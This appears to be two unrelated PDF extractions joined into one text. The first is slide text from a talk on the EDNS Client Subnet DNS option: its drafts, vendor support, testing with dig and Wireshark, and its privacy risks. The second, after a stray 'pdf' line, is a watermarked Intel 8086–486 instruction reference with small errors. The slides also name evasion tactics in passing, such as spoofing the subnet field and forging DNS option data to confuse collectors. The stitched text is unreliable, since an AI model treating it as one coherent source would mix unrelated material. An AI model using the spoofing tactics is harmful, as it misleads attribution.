DeviceID • Used by Cisco Umbrella (Formerly OpenDNS) • Sends the following data – Organization ID – Remote “Internal” IP – Remote IPv6 • Built into Umbrella Client or Umbrella enabled gateways • https://docs.umbrella.com/developer/networkdevices- api/identifying-dns-traffic2 OPT Option Code 26946 EDNS Use Cases • ISP Location in DNS Queries • Proposed by China Internet Network Information Center (CNNIC) • draft-pan-dnsop-edns-isp-location-01 • Claims to be an improvement to privacy • EIL data includes – Country – Area – ISP Draft ISP Location EDNS Use Cases • Client ID in Forwarded DNS Queries • Proposed by Akamai • draft-tale-dnsop-edns0-clientid-01 • Purpose is to provide more precise client identity • Ex – Parental control – Domain access restriction – Compromise attribution Draft Client ID EDNS Client Subnet • Draft-vandergaast-edns-client-subnet-00 Initial Draft • C. Contavalli & W. van der Gaast – Google • S. Leach – Verisign • D. Rodden – Neustar Submitted January 27th, 2011 • Note the date • Ironic that it was changed on Independence Day Revision 02 submitted on July 4th, 2013 • Draft-ietf-dnsop-edns-client-subnet-01 • Added - D. Lawrence – Akamai & W. Kumari – Google Resubmitted May 26th, 2015 EDNS Client Subnet •July 6th, 2015 Revision 02 •August 24th, 2015 Revision 03 •September 25th, 2015 Revision 04 Revision 05 •December 14th, 2015 EDNS Client Subnet •December 15th, 2015 Revision 06 •March 21st, 2016 Revision 07 •April 19th, 2016 Revision 08 •May, 2016 RFC 7871 EDNS Client Subnet • Number WO2013164007 A1 • Jan Seedorf & Mayutan Arumaithurai - Nec Europe Ltd. Patent submitted April 30th, 2012 • U.S. Patent number US20150134730 A1 • Interesting precedent Still shows as Application so not granted EDNS Client Subnet Client • Checks cache • Sends request to resolver Resolver • Checks cache or forwards to root • If resolver supports ECS, sending IP is packaged into OPT RR Data Authoritative • Supplies answer • If ECS aware, it sends back a geo-appropriate answer Client • Receives best route based upon geolocation • All on same subnet get same answer EDNS Client Subnet EDNS Client Subnet Authoritative • Google • Akamai • NS1 • OpenDNS • UltraDNS • PowerDNS • BIND 9.11 • Amazon CloudFront Recursive • Unbound 1.6.2 • PowerDNS • Google • OpenDNS • BIND 9.11 • Amazon CloudFront EDNS Client Subnet Tools For Evaluating Use • There is no up-to-date listing or registry showing name service provider support ECS compliant DNS records • You are relegated reading provider tech material or asking • A Faster Internet is not current Name Service Providers • Again no listing or registry. • Rely upon material provided by the DNS provider to uncover support • A Faster Internet is not current Recursive Providers Tools For Evaluating Use • Targets the name server – 8.8.8.8 • Returns a JSON packet • https://www.ietf.org/mail- archive/web/dnsop/current/msg16055.html dig @8.8.8.8 +short -t txt edns- client-sub.net • Targets x.x.x.x • Supplies ECS data y.y.y.y • Check OPT PSEUDOSECTION • CLIENT-SUBNET: y.y.y.y/M1/M2 • M1 is Source Netmask • M2 is Scope Netmask dig @x.x.x.x –t ns avaliddomain.com +subnet=y.y.y.y Tools For Evaluating Use Tools For Evaluating Use Tools For Evaluating Use • Configure to capture DNS traffic • Forward to Graylog instance Beats input Install Packetbeat on your local DNS resolvers • Configure Beats input • Validate data collection Build a Graylog instance (or download VM) • Tag all DNS messages w/ data in packetbeat_dns_opt_subnet field • Correlate to source & destination IPs Create a Stream Tools For Evaluating Use Tools For Evaluating Use • Run on AD DNS server or span port • Or open TCP dump file from Linux host Capture on local interface • Remember there are 65,535 possible OPTS • See what else lurks in your DNS! Filter by dns.opt.code == 8 • Full IP of requester • Subnet mask • Scope mask (all IPs in this mask would get same response) Note the data included in RRDATA Tools For Evaluating Use Tools For Evaluating Use https://svn.nmap.org/nmap/scripts/dns-client-subnet-scan.nse Was developed before dig had +subnet= option added May prove useful for isolated testing Tools For Evaluating Use • Download Alexa Top 1 Million sites - http://s3.amazonaws.com/alexa-static/top-1m.csv.zip • Get 2nd column containing domain names to a new file • Run dig to get the nameservers for each domain to a new file • Sort that file and remove duplicates • Use Python script to query each nameserver & supply ECS data • Parse the options returned and record any that return ClientSubnetOption (or any other option) Tools For Evaluating Use • .NET – ARSoft.Tools.Net – Did not find others that supported OPT record manipulation • Python – Dnspython (Nomium project) – Twisted Matrix (limited but growing support) – Getdns-python-bindings – Pydig • PHP – NET_DNS2 DNS Packages Supporting EDNS OPT Tools For Evaluating Use • Scapy – Has some DNS functionality for manipulating OPT RR data – Only DNSSEC related info (RFC 2671) – None for working with Option Codes Privacy & Security Implications Privacy & Security Implications Leaks IP information To every DNS server touched First server may not honor subnet restriction If /32 then all DNS can be attributed to source IP Leaks other data Many OPTs are proprietary w/ no insight into data sent Could be MAC addresses, credentials, etc. Anyone in path could capture that data No disclosure Use not well documented or advertised Implementers can track data w/o your knowledge You have no easy means of opting out Privacy & Security Implications Can return data to client From any DNS server touched my request Data returned might have unexpected impact Malware could use this for C&C traffic Data shared can be manipulated Ex. Using dig, subnet can easily be spoofed Could lead to erroneous attribution Particularly dangerous if law enforcement is involved Third party data recipients Can buy info regarding your DNS habits Competitors and unethical hackers can as well Privacy as it relates to DNS is dead w/o extra measures Privacy & Security Implications Example Correct Configuration in Unbound Privacy & Security Implications Example Incorrect Configuration in Unbound Privacy & Security Implications • Know what’s normal • Understand IPv6 vs IPv4 • Route ALL DNS to knowns recursive resolvers that do not pass EDNS OPT data or pass fake data • Lock out non validated DNS at edge • Disable EDNS(0) all together (not cool) • Monitor DNS using Packetbeat / Graylog & full capture if needed (Bro, Security Onion, etc.) • Create IPS rules as needed • Enforce DNSSEC (Stuff will break!) Defensive Options Privacy & Security Implications • Create noise – generate scripted DNS w/ forged OPT data to confuse the upstream collectors • Use full VPN tunnel to route ALL traffic through “safe” exit point • Tor past that safe end point • Account for IPv6 traffic as well • Disable IPv6 temporarily • Use TorGhost (Only works with IPv4) • Test w/ Wireshark or TCPDump Offensive Options Summary • Allow CDN via DNS • Enables DNSSEC • Enables multi-tenant cache servers to cache data for differing end points • DNS responses can be altered quickly in case of traffic overload • Signature of compromise can be attributed to IP or MAC OPT data have several useful purposes • All servers in DNS path if EDNS capable can track data • No standard has been developed for opting out • Privacy is compromised when EDNS OPT data is forwarded • No mechanism to verify OPT data is accurate • Data mining likely once providers fully implement OPT data use have privacy concerns • Data could be easily spoofed • 65,535 possible OPT choices • Botnet C&C • Data exfiltration OPT data have potential for abuse Wrap Up • Questions & Answers • Contact Info – jnitterauer@appriver.com – @jnitterauer – https://www.linkedin.com/in/jnitterauer – 850-932-5338 ext. 6468
pdf
网络安全屋 INTEL 汇编指令集 Intel Assemble Instruction Set CONTENT Intel 8086 Family Architecture Instruction Clock Cycle Calculation 8088/8086 Effective Address (EA) Calculation Task State Calculation FLAGS - Intel 8086 Family Flags Register MSW - Machine Status Word (286+ only) 8086/80186/80286/80386/80486 Instruction Set AAA - Ascii Adjust for Addition AAD - Ascii Adjust for Division AAM - Ascii Adjust for Multiplication AAS - Ascii Adjust for Subtraction ADC - Add With Carry ADD - Arithmetic Addition AND - Logical And ARPL - Adjusted Requested Privilege Level of Selector (286+ PM) BOUND - Array Index Bound Check (80188+) BSF - Bit Scan Forward (386+) BSR - Bit Scan Reverse (386+) BSWAP - Byte Swap (486+) BT - Bit Test (386+) BTC - Bit Test with Compliment (386+) BTR - Bit Test with Reset (386+) BTS - Bit Test and Set (386+) CALL - Procedure Call CBW - Convert Byte to Word CDQ - Convert Double to Quad (386+) CLC - Clear Carry CLD - Clear Direction Flag CLI - Clear Interrupt Flag (disable) CLTS - Clear Task Switched Flag (286+ privileged) CMC - Complement Carry Flag CMP - Compare CMPS - Compare String (Byte, Word or Doubleword) CMPXCHG - Compare and Exchange CWD - Convert Word to Doubleword CWDE - Convert Word to Extended Doubleword (386+) DAA - Decimal Adjust for Addition DAS - Decimal Adjust for Subtraction DEC - Decrement DIV - Divide ENTER - Make Stack Frame (80188+) ESC - Escape HLT - Halt CPU IDIV - Signed Integer Division 网络安全屋 IMUL - Signed Multiply IN - Input Byte or Word From Port INC - Increment INS - Input String from Port (80188+) INT - Interrupt INTO - Interrupt on Overflow INVD - Invalidate Cache (486+) INVLPG - Invalidate Translation Look-Aside Buffer Entry (486+) IRET/IRETD - Interrupt Return Jxx - Jump Instructions Table JCXZ/JECXZ - Jump if Register (E)CX is Zero JMP - Unconditional Jump LAHF - Load Register AH From Flags LAR - Load Access Rights (286+ protected) LDS - Load Pointer Using DS LEA - Load Effective Address LEAVE - Restore Stack for Procedure Exit (80188+) LES - Load Pointer Using ES LFS - Load Pointer Using FS (386+) LGDT - Load Global Descriptor Table (286+ privileged) LIDT - Load Interrupt Descriptor Table (286+ privileged) LGS - Load Pointer Using GS (386+) LLDT - Load Local Descriptor Table (286+ privileged) LMSW - Load Machine Status Word (286+ privileged) LOCK - Lock Bus LODS - Load String (Byte, Word or Double) LOOP - Decrement CX and Loop if CX Not Zero LOOPE/LOOPZ - Loop While Equal / Loop While Zero LOOPNZ/LOOPNE - Loop While Not Zero / Loop While Not Equal LSL - Load Segment Limit (286+ protected) LSS - Load Pointer Using SS (386+) LTR - Load Task Register (286+ privileged) MOV - Move Byte or Word MOVS - Move String (Byte or Word) MOVSX - Move with Sign Extend (386+) MOVZX - Move with Zero Extend (386+) MUL - Unsigned Multiply NEG - Two's Complement Negation NOP - No Operation (90h) NOT - One's Compliment Negation (Logical NOT) OR - Inclusive Logical OR OUT - Output Data to Port OUTS - Output String to Port (80188+) POP - Pop Word off Stack POPA/POPAD - Pop All Registers onto Stack (80188+) POPF/POPFD - Pop Flags off Stack PUSH - Push Word onto Stack PUSHA/PUSHAD - Push All Registers onto Stack (80188+) PUSHF/PUSHFD - Push Flags onto Stack RCL - Rotate Through Carry Left RCR - Rotate Through Carry Right REP - Repeat String Operation 网络安全屋 REPE/REPZ - Repeat Equal / Repeat Zero REPNE/REPNZ - Repeat Not Equal / Repeat Not Zero RET/RETF - Return From Procedure ROL - Rotate Left ROR - Rotate Right SAHF - Store AH Register into FLAGS SAL/SHL - Shift Arithmetic Left / Shift Logical Left SAR - Shift Arithmetic Right SBB - Subtract with Borrow/Carry SCAS - Scan String (Byte, Word or Doubleword) SETAE/SETNB - Set if Above or Equal / Set if Not Below (386+) SETB/SETNAE - Set if Below / Set if Not Above or Equal (386+) SETBE/SETNA - Set if Below or Equal / Set if Not Above (386+) SETE/SETZ - Set if Equal / Set if Zero (386+) SETNE/SETNZ - Set if Not Equal / Set if Not Zero (386+) SETL/SETNGE - Set if Less / Set if Not Greater or Equal (386+) SETGE/SETNL - Set if Greater or Equal / Set if Not Less (386+) SETLE/SETNG - Set if Less or Equal / Set if Not greater or Equal (386+) SETG/SETNLE - Set if Greater / Set if Not Less or Equal (386+) SETS - Set if Signed (386+) SETNS - Set if Not Signed (386+) SETC - Set if Carry (386+) SETNC - Set if Not Carry (386+) SETO - Set if Overflow (386+) SETNO - Set if Not Overflow (386+) SETP/SETPE - Set if Parity / Set if Parity Even (386+) SETNP/SETPO - Set if No Parity / Set if Parity Odd (386+) SGDT - Store Global Descriptor Table (286+ privileged) SIDT - Store Interrupt Descriptor Table (286+ privileged) SHL - Shift Logical Left SHR - Shift Logical Right SHLD/SHRD - Double Precision Shift (386+) SLDT - Store Local Descriptor Table (286+ privileged) SMSW - Store Machine Status Word (286+ privileged) STC - Set Carry STD - Set Direction Flag STI - Set Interrupt Flag (Enable Interrupts) STOS - Store String (Byte, Word or Doubleword) STR - Store Task Register (286+ privileged) SUB - Subtract TEST - Test For Bit Pattern VERR - Verify Read (286+ protected) VERW - Verify Write (286+ protected) WAIT/FWAIT - Event Wait WBINVD - Write-Back and Invalidate Cache (486+) XCHG - Exchange XLAT/XLATB - Translate XOR - Exclusive OR TEXT 网络安全屋 Intel 8086 Family Architecture General Purpose Registers Segment Registers AH/AL AX (EAX) Accumulator CS Code Segment BH/BL BX (EBX) Base DS Data Segment CH/CL CX (ECX) Counter SS Stack Segment DH/DL DX (EDX) Data ES Extra Segment (FS) 386 and newer (Exx) indicates 386+ 32 bit register (GS) 386 and newer Pointer Registers Stack Registers SI (ESI) Source Index SP (ESP) Stack Pointer DI (EDI) Destination Index BP (EBP) Base Pointer IP Instruction Pointer Status Registers FLAGS Status Flags (see FLAGS) Special Registers (386+ only) CR0 Control Register 0 DR0 Debug Register 0 CR2 Control Register 2 DR1 Debug Register 1 CR3 Control Register 3 DR2 Debug Register 2 DR3 Debug Register 3 TR4 Test Register 4 DR6 Debug Register 6 TR5 Test Register 5 DR7 Debug Register 7 TR6 Test Register 6 TR7 Test Register 7 Register Default Segment Valid Overrides BP SS DS, ES, CS SI or DI DS ES, SS, CS DI strings ES None SI strings DS ES, SS, CS - see CPU DETECTING Instruction Timing Instruction Clock Cycle Calculation Some instructions require additional clock cycles due to a "Next Instruction Component" identified by a "+m" in the instruction clock cycle listings. This is due to the prefetch queue being purge on a control transfers. Below is the general rule for calculating "m": 网络安全屋 88/86 not applicable 286 "m" is the number of bytes in the next instruction 386 "m" is the number of components in the next instruction (the instruction coding (each byte), plus the data and the displacement are all considered components) 8088/8086 Effective Address (EA) Calculation Description Clock Cycles Displacement 6 Base or Index (BX,BP,SI,DI) 5 Displacement+(Base or Index) 9 Base+Index (BP+DI,BX+SI) 7 Base+Index (BP+SI,BX+DI) 8 Base+Index+Displacement (BP+DI,BX+SI) 11 Base+Index+Displacement (BP+SI+disp,BX+DI+disp) 12 - add 4 cycles for word operands at odd addresses - add 2 cycles for segment override - 80188/80186 timings differ from those of the 8088/8086/80286 Task State Calculation "TS" is defined as switching from VM/486 or 80286 TSS to one of the following: +---------------------------------------+ | New Task | +-------+-------+-------+-------+-------+ +---------------+486 TSS|486 TSS|386 TSS|386 TSS|286 TSS| | Old Task | (VM=0)| (VM=1)| (VM=0)| (VM=1)| | +---------------+-------+-------+-------+-------+-------+ 386 TSS (VM=0) | | | 309 | 226 | 282 | +-------+-------+-------+-------+-------+ 386 TSS (VM=1) | | | 314 | 231 | 287 | +----- --+-------+-------+-------+-------+ 386 CPU/286 TSS | | | 307 | 224 | 280 | +-------+-------+-------+-------+-------+ 486 CPU/286 TSS | 199 | 177 | | | 180 | +---------------------------------------+ Miscellaneous - all timings are for best case and do not take into account wait states, instruction alignment, the state of the prefetch queue, DMA 网络安全屋 refresh cycles, cache hits/misses or exception processing. - to convert clocks to nanoseconds divide one microsecond by the processor speed in MegaHertz: (1000MHz/(n MHz)) = X nanoseconds - see 8086 Architecture FLAGS - Intel 8086 Family Flags Register |11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0| | | | | | | | | | | | | | | | | | +--- CF Carry Flag | | | | | | | | | | | | | | | | +--- 1 | | | | | | | | | | | | | | | +--- PF Parity Flag | | | | | | | | | | | | | | +--- 0 | | | | | | | | | | | | | +--- AF Auxiliary Flag | | | | | | | | | | | | +--- 0 | | | | | | | | | | | +--- ZF Zero Flag | | | | | | | | | | +--- SF Sign Flag | | | | | | | | | +--- TF Trap Flag (Single Step) | | | | | | | | +--- IF Interrupt Flag | | | | | | | +--- DF Direction Flag | | | | | | +--- OF Overflow flag | | | | +----- IOPL I/O Privilege Level (286+ only) | | | +----- NT Nested Task Flag (286+ only) | | +----- 0 | +----- RF Resume Flag (386+ only) +------ VM Virtual Mode Flag (386+ only) - see PUSHF POPF STI CLI STD CLD MSW - Machine Status Word (286+ only) |31|30-5|4|3|2|1|0| Machine Status Word | | | | | | +---- Protection Enable (PE) | | | | | +----- Math Present (MP) | | | | +------ Emulation (EM) | | | +------- Task Switched (TS) | | +-------- Extension Type (ET) | +---------- Reserved +------------- Paging (PG) Bit 0 PE Protection Enable, switches processor between protected and real mode Bit 1 MP Math Present, controls function of the WAIT instruction Bit 2 EM Emulation, indicates whether coprocessor functions are to be emulated 网络安全屋 Bit 3 TS Task Switched, set and interrogated by coprocessor on task switches and when interpretting coprocessor instructions Bit 4 ET Extension Type, indicates type of coprocessor in system Bits 5-30 Reserved bit 31 PG Paging, indicates whether the processor uses page tables to translate linear addresses to physical addresses - see SMSW LMSW 8086/80186/80286/80386/80486 Instruction Set AAA - Ascii Adjust for Addition Usage: AAA Modifies flags: AF CF (OF,PF,SF,ZF undefined) Changes contents of AL to valid unpacked decimal. The high order nibble is zeroed. Clocks Size Operands 808x 286 386 486 Bytes none 8 3 4 3 1 AAD - Ascii Adjust for Division Usage: AAD Modifies flags: SF ZF PF (AF,CF,OF undefined) Used before dividing unpacked decimal numbers. Multiplies AH by 10 and the adds result into AL. Sets AH to zero. This instruction is also known to have an undocumented behavior. AL := 10*AH+AL AH := 0 Clocks Size Operands 808x 286 386 486 Bytes none 60 14 19 14 2 AAM - Ascii Adjust for Multiplication Usage: AAM Modifies flags: PF SF ZF (AF,CF,OF undefined) AH := AL / 10 AL := AL mod 10 网络安全屋 Used after multiplication of two unpacked decimal numbers, this instruction adjusts an unpacked decimal number. The high order nibble of each byte must be zeroed before using this instruction. This instruction is also known to have an undocumented behavior. Clocks Size Operands 808x 286 386 486 Bytes none 83 16 17 15 2 AAS - Ascii Adjust for Subtraction Usage: AAS Modifies flags: AF CF (OF,PF,SF,ZF undefined) Corrects result of a previous unpacked decimal subtraction in AL. High order nibble is zeroed. Clocks Size Operands 808x 286 386 486 Bytes none 8 3 4 3 1 ADC - Add With Carry Usage: ADC dest,src Modifies flags: AF CF OF SF PF ZF Sums two binary operands placing the result in the destination. If CF is set, a 1 is added to the destination. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 7 3 2-4 (W88=24+EA) reg,mem 9+EA 7 6 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=23+EA) accum,immed 4 3 2 1 2-3 ADD - Arithmetic Addition Usage: ADD dest,src Modifies flags: AF CF OF PF SF ZF 网络安全屋 Adds "src" to "dest" and replacing the original contents of "dest". Both operands are binary. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 7 3 2-4 (W88=24+EA) reg,mem 9+EA 7 6 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=23+EA) accum,immed 4 3 2 1 2-3 AND - Logical And Usage: AND dest,src Modifies flags: CF OF PF SF ZF (AF undefined) Performs a logical AND of the two operands replacing the destination with the result. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 16+EA 7 7 3 2-4 (W88=24+EA) reg,mem 9+EA 7 6 1 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 17+EA 7 7 3 3-6 (W88=23+EA) accum,immed 4 3 2 1 2-3 ARPL - Adjusted Requested Privilege Level of Selector (286+ PM) Usage: ARPL dest,src (286+ protected mode) Modifies flags: ZF Compares the RPL bits of "dest" against "src". If the RPL bits of "dest" are less than "src", the destination RPL bits are set equal to the source RPL bits and the Zero Flag is set. Otherwise the Zero Flag is cleared. Clocks Size Operands 808x 286 386 486 Bytes reg,reg - 10 20 9 2 mem,reg - 11 21 9 4 BOUND - Array Index Bound Check (80188+) Usage: BOUND src,limit Modifies flags: None 网络安全屋 Array index in source register is checked against upper and lower bounds in memory source. The first word located at "limit" is the lower boundary and the word at "limit+2" is the upper array bound. Interrupt 5 occurs if the source value is less than or higher than the source. Clocks Size Operands 808x 286 386 486 Bytes reg16,mem32 - nj=13 nj=10 7 2 reg32,mem64 - nj=13 nj=10 7 2 - nj = no jump taken BSF - Bit Scan Forward (386+) Usage: BSF dest,src Modifies flags: ZF Scans source operand for first bit set. Sets ZF if a bit is found set and loads the destination with an index to first set bit. Clears ZF is no bits are found set. BSF scans forward across bit pattern (0-n) while BSR scans in reverse (n-0). Clocks Size Operands 808x 286 386 486 Bytes reg,reg - - 10+3n 6-42 3 reg,mem - - 10+3n 7-43 3-7 reg32,reg32 - - 10+3n 6-42 3-7 reg32,mem32 - - 10+3n 7-43 3-7 BSR - Bit Scan Reverse (386+) Usage: BSR dest,src Modifies flags: ZF Scans source operand for first bit set. Sets ZF if a bit is found set and loads the destination with an index to first set bit. Clears ZF is no bits are found set. BSF scans forward across bit pattern (0-n) while BSR scans in reverse (n-0). Clocks Size Operands 808x 286 386 486 Bytes reg,reg - - 10+3n 6-103 3 reg,mem - - 10+3n 7-104 3-7 reg32,reg32 - - 10+3n 6-103 3-7 reg32,mem32 - - 10+3n 7-104 3-7 网络安全屋 BSWAP - Byte Swap (486+) Usage: BSWAP reg32 Modifies flags: none Changes the byte order of a 32 bit register from big endian to little endian or vice versa. Result left in destination register is undefined if the operand is a 16 bit register. Clocks Size Operands 808x 286 386 486 Bytes reg32 - - - 1 2 BT - Bit Test (386+) Usage: BT dest,src Modifies flags: CF The destination bit indexed by the source value is copied into the Carry Flag. Clocks Size Operands 808x 286 386 486 Bytes reg16,immed8 - - 3 3 4-8 mem16,immed8 - - 6 6 4-8 reg16,reg16 - - 3 3 3-7 mem16,reg16 - - 12 12 3-7 BTC - Bit Test with Compliment (386+) Usage: BTC dest,src Modifies flags: CF The destination bit indexed by the source value is copied into the Carry Flag after being complimented (inverted). Clocks Size Operands 808x 286 386 486 Bytes reg16,immed8 - - 6 6 4-8 mem16,immed8 - - 8 8 4-8 reg16,reg16 - - 6 6 3-7 mem16,reg16 - - 13 13 3-7 BTR - Bit Test with Reset (386+) Usage: BTR dest,src Modifies flags: CF 网络安全屋 The destination bit indexed by the source value is copied into the Carry Flag and then cleared in the destination. Clocks Size Operands 808x 286 386 486 Bytes reg16,immed8 - - 6 6 4-8 mem16,immed8 - - 8 8 4-8 reg16,reg16 - - 6 6 3-7 mem16,reg16 - - 13 13 3-7 BTS - Bit Test and Set (386+) Usage: BTS dest,src Modifies flags: CF The destination bit indexed by the source value is copied into the Carry Flag and then set in the destination. Clocks Size Operands 808x 286 386 486 Bytes reg16,immed8 - - 6 6 4-8 mem16,immed8 - - 8 8 4-8 reg16,reg16 - - 6 6 3-7 mem16,reg16 - - 13 13 3-7 CALL - Procedure Call Usage: CALL destination Modifies flags: None Pushes Instruction Pointer (and Code Segment for far calls) onto stack and loads Instruction Pointer with the address of proc-name. Code continues with execution at CS:IP. Clocks Operands 808x 286 386 486 rel16 (near, IP relative) 19 7 7+m 3 rel32 (near, IP relative) - - 7+m 3 reg16 (near, register indirect) 16 7 7+m 5 reg32 (near, register indirect) - - 7+m 5 mem16 (near, memory indirect) 21+EA 11 10+m 5 mem32 (near, memory indirect) - - 10+m 5 ptr16:16 (far, full ptr supplied) 28 13 17+m 18 ptr16:32 (far, full ptr supplied) - - 17+m 18 ptr16:16 (far, ptr supplied, prot. mode) - 26 34+m 20 ptr16:32 (far, ptr supplied, prot. mode) - - 34+m 20 m16:16 (far, indirect) 37+EA 16 22+m 17 m16:32 (far, indirect) 网络安全屋 - - 22+m 17 m16:16 (far, indirect, prot. mode) - 29 38+m 20 m16:32 (far, indirect, prot. mode) - - 38+m 20 ptr16:16 (task, via TSS or task gate) - 177 TS 37+TS m16:16 (task, via TSS or task gate) - 180/185 5+TS 37+TS m16:32 (task) - - TS 37+TS m16:32 (task) - - 5+TS 37+TS ptr16:16 (gate, same privilege) - 41 52+m 35 ptr16:32 (gate, same privilege) - - 52+m 35 m16:16 (gate, same privilege) - 44 56+m 35 m16:32 (gate, same privilege) - - 56+m 35 ptr16:16 (gate, more priv, no parm) - 82 86+m 69 ptr16:32 (gate, more priv, no parm) - - 86+m 69 m16:16 (gate, more priv, no parm) - 83 90+m 69 m16:32 (gate, more priv, no parm) - - 90+m 69 ptr16:16 (gate, more priv, x parms) - 86+4x 94+4x+m 77+4x ptr16:32 (gate, more priv, x parms) - - 94+4x+m 77+4x m16:16 (gate, more priv, x parms) - 90+4x 98+4x+m 77+4x m16:32 (gate, more priv, x parms) - - 98+4x+m 77+4x CBW - Convert Byte to Word Usage: CBW Modifies flags: None Converts byte in AL to word Value in AX by extending sign of AL throughout register AH. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 3 3 1 CDQ - Convert Double to Quad (386+) Usage: CDQ Modifies flags: None Converts signed DWORD in EAX to a signed quad word in EDX:EAX by extending the high order bit of EAX throughout EDX Clocks Size Operands 808x 286 386 486 Bytes none - - 2 3 1 CLC - Clear Carry Usage: CLC 网络安全屋 Modifies flags: CF Clears the Carry Flag. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 2 1 CLD - Clear Direction Flag Usage: CLD Modifies flags: DF Clears the Direction Flag causing string instructions to increment the SI and DI index registers. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 2 1 CLI - Clear Interrupt Flag (disable) Usage: CLI Modifies flags: IF Disables the maskable hardware interrupts by clearing the Interrupt flag. NMI's and software interrupts are not inhibited. Clocks Size Operands 808x 286 386 486 Bytes none 2 2 3 5 1 CLTS - Clear Task Switched Flag (286+ privileged) Usage: CLTS Modifies flags: None Clears the Task Switched Flag in the Machine Status Register. This is a privileged operation and is generally used only by operating system code. Clocks Size Operands 808x 286 386 486 Bytes none - 2 5 7 2 网络安全屋 CMC - Complement Carry Flag Usage: CMC Modifies flags: CF Toggles (inverts) the Carry Flag Clocks Size Operands 808x 286 386 486 Bytes none 2 2 2 2 1 CMP - Compare Usage: CMP dest,src Modifies flags: AF CF OF PF SF ZF Subtracts source from destination and updates the flags but does not save result. Flags can subsequently be checked for conditions. Clocks Size Operands 808x 286 386 486 Bytes reg,reg 3 2 2 1 2 mem,reg 9+EA 7 5 2 2-4 (W88=13+EA) reg,mem 9+EA 6 6 2 2-4 (W88=13+EA) reg,immed 4 3 2 1 3-4 mem,immed 10+EA 6 5 2 3-6 (W88=14+EA) accum,immed 4 3 2 1 2-3 CMPS - Compare String (Byte, Word or Doubleword) Usage: CMPS dest,src CMPSB CMPSW CMPSD (386+) Modifies flags: AF CF OF PF SF ZF Subtracts destination value from source without saving results. Updates flags based on the subtraction and the index registers (E)SI and (E)DI are incremented or decremented depending on the state of the Direction Flag. CMPSB inc/decrements the index registers by 1, CMPSW inc/decrements by 2, while CMPSD increments or decrements by 4. The REP prefixes can be used to process entire data items. Clocks Size Operands 808x 286 386 486 Bytes dest,src 22 8 10 8 1 (W88=30) 网络安全屋 CMPXCHG - Compare and Exchange Usage: CMPXCHG dest,src (486+) Modifies flags: AF CF OF PF SF ZF Compares the accumulator (8-32 bits) with "dest". If equal the "dest" is loaded with "src", otherwise the accumulator is loaded with "dest". Clocks Size Operands 808x 286 386 486 Bytes reg,reg - - - 6 2 mem,reg - - - 7 2 - add 3 clocks if the "mem,reg" comparison fails CWD - Convert Word to Doubleword Usage: CWD Modifies flags: None Extends sign of word in register AX throughout register DX forming a doubleword quantity in DX:AX. Clocks Size Operands 808x 286 386 486 Bytes none 5 2 2 3 1 CWDE - Convert Word to Extended Doubleword (386+) Usage: CWDE Modifies flags: None Converts a signed word in AX to a signed doubleword in EAX by extending the sign bit of AX throughout EAX. Clocks Size Operands 808x 286 386 486 Bytes none - - 3 3 1 DAA - Decimal Adjust for Addition Usage: DAA Modifies flags: AF CF PF SF ZF (OF undefined) 网络安全屋 Corrects result (in AL) of a previous BCD addition operation. Contents of AL are changed to a pair of packed decimal digits. Clocks Size Operands 808x 286 386 486 Bytes none 4 3 4 2 1 DAS - Decimal Adjust for Subtraction Usage: DAS Modifies flags: AF CF PF SF ZF (OF undefined) Corrects result (in AL) of a previous BCD subtraction operation. Contents of AL are changed to a pair of packed decimal digits. Clocks Size Operands 808x 286 386 486 Bytes none 4 3 4 2 1 DEC - Decrement Usage: DEC dest Modifies flags: AF OF PF SF ZF Unsigned binary subtraction of one from the destination. Clocks Size Operands 808x 286 386 486 Bytes reg8 3 2 2 1 2 mem 15+EA 7 6 3 2-4 reg16/32 3 2 2 1 1 DIV - Divide Usage: DIV src Modifies flags: (AF,CF,OF,PF,SF,ZF undefined) Unsigned binary division of accumulator by source. If the source divisor is a byte value then AX is divided by "src" and the quotient is placed in AL and the remainder in AH. If source operand is a word value, then DX:AX is divided by "src" and the quotient is stored in AX and the remainder in DX. Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 reg8 80-90 14 14 16 2 reg16 144-162 22 22 24 2 reg32 - - 38 40 2 mem8 (86-96)+EA 17 17 16 2-4 mem16 (150-168)+EA 25 25 24 2-4 (W88=158- 176+EA) mem32 - - 41 40 2-4 ENTER - Make Stack Frame (80188+) Usage: ENTER locals,level Modifies flags: None Modifies stack for entry to procedure for high level language. Operand "locals" specifies the amount of storage to be allocated on the stack. "Level" specifies the nesting level of the routine. Paired with the LEAVE instruction, this is an efficient method of entry and exit to procedures. Clocks Size Operands 808x 286 386 486 Bytes immed16,0 - 11 10 14 4 immed16,1 - 15 12 17 4 immed16,immed8 - 12+4(n-1) 15+4(n-1) 17+3n 4 ESC - Escape Usage: ESC immed,src Modifies flags: None Provides access to the data bus for other resident processors. The CPU treats it as a NOP but places memory operand on bus. Clocks Size Operands 808x 286 386 486 Bytes immed,reg 2 9-20 ? 2 immed,mem 2 9- 20 ? 2-4 HLT - Halt CPU Usage: HLT Modifies flags: None Halts CPU until RESET line is activated, NMI or maskable interrupt received. The CPU becomes dormant but retains the current CS:IP for later restart. Clocks Size Operands 808x 286 386 486 Bytes 网络安全屋 none 2 2 5 4 1 IDIV - Signed Integer Division Usage: IDIV src Modifies flags: (AF,CF,OF,PF,SF,ZF undefined) Signed binary division of accumulator by source. If source is a byte value, AX is divided by "src" and the quotient is stored in AL and the remainder in AH. If source is a word value, DX:AX is divided by "src", and the quotient is stored in AL and the remainder in DX. Clocks Size Operands 808x 286 386 486 Bytes reg8 101-112 17 19 19 2 reg16 165-184 25 27 27 2 reg32 - - 43 43 2 mem8 (107-118)+EA 20 22 20 2- 4 mem16 (171-190)+EA 38 30 28 2-4 (W88=175-194) mem32 - - 46 44 2-4 IMUL - Signed Multiply Usage: IMUL src IMUL src,immed (286+) IMUL dest,src,immed8 (286+) IMUL dest,src (386+) Modifies flags: CF OF 